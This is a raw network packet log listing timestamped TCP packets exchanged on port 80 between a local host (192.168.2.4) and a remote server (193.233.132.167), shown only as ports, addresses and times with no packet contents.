Apr 18, 2024 23:40:10.176033974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176050901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176049948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176069975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176081896 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176090956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176122904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176126957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176142931 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176157951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176162958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176175117 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176182032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176198959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176213980 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176217079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176229000 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176235914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176251888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176253080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176271915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176290035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176290989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176306963 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176309109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176327944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176331043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176348925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176359892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176367044 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176384926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176393986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176403999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176419973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176420927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176441908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176450014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176460028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176470995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176476955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176495075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176497936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176516056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176522970 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176537037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176539898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176554918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176562071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176573038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176580906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176590919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176606894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176609039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176630974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176647902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176649094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176649094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176666975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176673889 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176688910 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176690102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176707983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176708937 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176727057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176739931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176739931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176743984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176763058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176765919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176779985 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176781893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176800966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176801920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176819086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176826954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176839113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176858902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176862001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176862001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176877022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176881075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176897049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176901102 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176917076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176922083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176934958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176947117 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176954031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176968098 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176971912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176992893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177002907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177011013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177022934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177036047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177050114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177056074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177076101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177087069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177093983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177112103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177128077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177131891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177151918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177169085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177170038 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177170038 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177187920 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177189112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177205086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177206993 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177225113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177226067 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177249908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177256107 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177268982 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177278042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177285910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177299976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177304983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177324057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177328110 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177342892 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177345991 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177361012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177370071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177377939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177386045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177398920 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177412987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177412987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177417994 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177434921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177438021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177454948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177455902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177474976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177489042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177489042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177494049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177510023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177512884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177525043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177531004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177547932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177550077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177567959 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177568913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177587032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177587986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177606106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177607059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177624941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177638054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177638054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177643061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177661896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177679062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177691936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177691936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177691936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177695990 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177714109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177717924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177725077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177732944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177750111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177750111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177767038 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177767992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177782059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177787066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177803993 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177805901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177820921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177825928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177844048 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177844048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177860975 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177864075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177880049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177882910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177900076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177901030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177915096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177920103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177937984 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177941084 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177958965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177975893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177993059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.177999973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.177999973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178009987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.178029060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.178046942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.178051949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178051949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178051949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178067923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.178081036 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178086996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.178090096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178105116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.178109884 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178141117 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178160906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.178179026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.178201914 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178201914 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.178225040 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.427855015 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.427875042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.427891970 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.427911043 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.427917004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.427953959 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.427967072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428024054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428041935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428060055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428066015 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428076982 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428081036 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428096056 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428111076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428119898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428121090 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428133011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428139925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428142071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428152084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428153038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428164005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428170919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428188086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428195953 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428206921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428210020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428225040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428234100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428244114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428256035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428262949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428266048 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428282022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428287029 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428299904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428302050 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428314924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428318977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428335905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428337097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428353071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428356886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428375006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428375959 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428397894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428402901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428416967 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428421974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428440094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428442955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428457022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428458929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428476095 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428478003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428493977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428497076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428508043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428510904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428529978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428534031 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428544998 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428545952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428560972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428564072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428582907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428586006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428603888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428608894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428616047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428626060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428642988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428646088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428661108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428663969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428673983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428679943 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428699017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428703070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428715944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428719997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428734064 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428734064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428745985 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428752899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428770065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428776979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428788900 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428797007 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428806067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428822994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428822994 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428843975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428843975 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428862095 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428868055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428879976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428896904 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428896904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428913116 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428922892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428925991 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428945065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428945065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428961039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428968906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.428980112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.428997040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429013014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429029942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429029942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429029942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429029942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429032087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429044962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429050922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429068089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429074049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429085970 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429088116 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429106951 CEST	80	49744	193.233.132.167	192.168.2.4
